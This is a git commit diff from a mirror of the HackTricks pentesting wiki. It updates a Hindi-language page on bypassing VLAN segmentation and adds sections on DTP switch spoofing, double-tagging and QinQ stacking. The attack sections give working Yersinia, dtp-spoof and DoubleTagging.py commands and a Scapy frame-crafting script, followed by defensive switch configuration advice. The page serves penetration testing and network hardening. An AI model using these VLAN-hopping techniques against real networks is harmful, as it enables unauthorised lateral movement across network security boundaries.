mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
b2f3db1cd6
commit
249c8913b3
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यदि स्विच तक सीधी पहुँच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थिर, परिदृश्य के आधार पर (**अधिक विवरण के लिए देखें [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
यदि स्विच तक सीधा पहुंच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थिर, परिदृश्य के आधार पर (**अधिक विवरण के लिए देखें [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
प्रारंभ में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से किया जा सकता है, या **include** मास्क के माध्यम से पोर्ट की खोज करके।
|
||||
शुरुआत में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से या **include** मास्क के माध्यम से पोर्ट की खोज करके किया जा सकता है।
|
||||
|
||||
**यदि CDP कार्यशील नहीं है, तो MAC पते की खोज करके पोर्ट की पहचान करने का प्रयास किया जा सकता है**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ता निर्धारित किए जाने चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
|
||||
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ताओं का निर्धारण किया जाना चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -40,16 +40,84 @@ sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
इंटरफेस पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण (VLAN 10):
|
||||
इंटरफेस (VLAN 10) पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण:
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोधों को आरंभ करके किया जाता है।
|
||||
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोध शुरू करके किया जाता है।
|
||||
|
||||
अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने की अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और आगे की क्रियाओं के लिए मंच तैयार होता है।
|
||||
|
||||
## संदर्भ
|
||||
---
|
||||
|
||||
## अन्य VLAN-Hopping तकनीकें (कोई विशेषाधिकार प्राप्त स्विच CLI नहीं)
|
||||
|
||||
पिछली विधि मानती है कि स्विच पर प्रमाणित कंसोल या Telnet/SSH पहुंच है। वास्तविक दुनिया में, हमलावर आमतौर पर एक **सामान्य एक्सेस पोर्ट** से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:
|
||||
|
||||
### 1. स्विच-स्पूफिंग के साथ डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)
|
||||
|
||||
Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक पर बातचीत करेंगे यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल **DTP “desirable”** या **“trunk”** फ्रेम बनाने से एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित किया जाता है जो *सभी* अनुमत VLANs को ले जाता है।
|
||||
|
||||
*Yersinia* और कई PoCs इस प्रक्रिया को स्वचालित करते हैं:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
जब पोर्ट ट्रंक पर स्विच होता है, तो आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह से पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है। आधुनिक Linux कर्नेल अब *vconfig* की आवश्यकता नहीं रखते; इसके बजाय *ip link* का उपयोग करें:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. डबल-टैगिंग (नेटीव-VLAN दुरुपयोग)
|
||||
|
||||
यदि हमलावर **नेटीव (अनटैग्ड) VLAN** पर बैठा है, तो *दो* 802.1Q हेडर वाला एक तैयार किया गया फ्रेम एक दूसरे VLAN में "हॉप" कर सकता है, भले ही पोर्ट एक्सेस मोड में लॉक किया गया हो। **VLANPWN DoubleTagging.py** (2022-2024 रिफ्रेश) जैसे उपकरण इंजेक्शन को स्वचालित करते हैं:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. बाहरी टैग (1) पहले स्विच द्वारा हटा दिया जाता है क्योंकि यह मूल VLAN से मेल खाता है।
|
||||
2. आंतरिक टैग (20) अब उजागर है; फ्रेम VLAN 20 की ओर ट्रंक पर अग्रेषित किया जाता है।
|
||||
|
||||
यह तकनीक 2025 में उन नेटवर्क पर काम करती है जो मूल VLAN को डिफ़ॉल्ट पर छोड़ते हैं और बिना टैग वाले फ्रेम स्वीकार करते हैं।
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
कई उद्यम कोर *Q-in-Q* सेवा प्रदाता एनकैप्सुलेशन का समर्थन करते हैं। जहां अनुमति है, एक हमलावर सुरक्षा क्षेत्रों को पार करने के लिए एक प्रदाता (S-tag) के अंदर मनमाने 802.1Q-टैग किए गए ट्रैफ़िक को टनल कर सकता है। 802.1ad एथरटाइप 0x88a8 के लिए कैप्चर करें और Scapy के साथ बाहरी टैग को पॉप करने का प्रयास करें:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Defensive Recommendations
|
||||
|
||||
1. सभी उपयोगकर्ता-फेसिंग पोर्ट पर DTP को निष्क्रिय करें: `switchport mode access` + `switchport nonegotiate`।
|
||||
2. प्रत्येक ट्रंक पर मूल VLAN को एक **अप्रयुक्त, ब्लैक-होल VLAN** में बदलें और इसे टैग करें: `vlan dot1q tag native`।
|
||||
3. ट्रंक पर अनावश्यक VLANs को प्रून करें: `switchport trunk allowed vlan 10,20`।
|
||||
4. पोर्ट सुरक्षा, DHCP स्नूपिंग और डायनामिक ARP निरीक्षण को लागू करें ताकि बागी लेयर-2 गतिविधियों को सीमित किया जा सके।
|
||||
5. केवल 802.1Q पृथक्करण पर निर्भर रहने के बजाय निजी-VLANs या L3 विभाजन को प्राथमिकता दें।
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user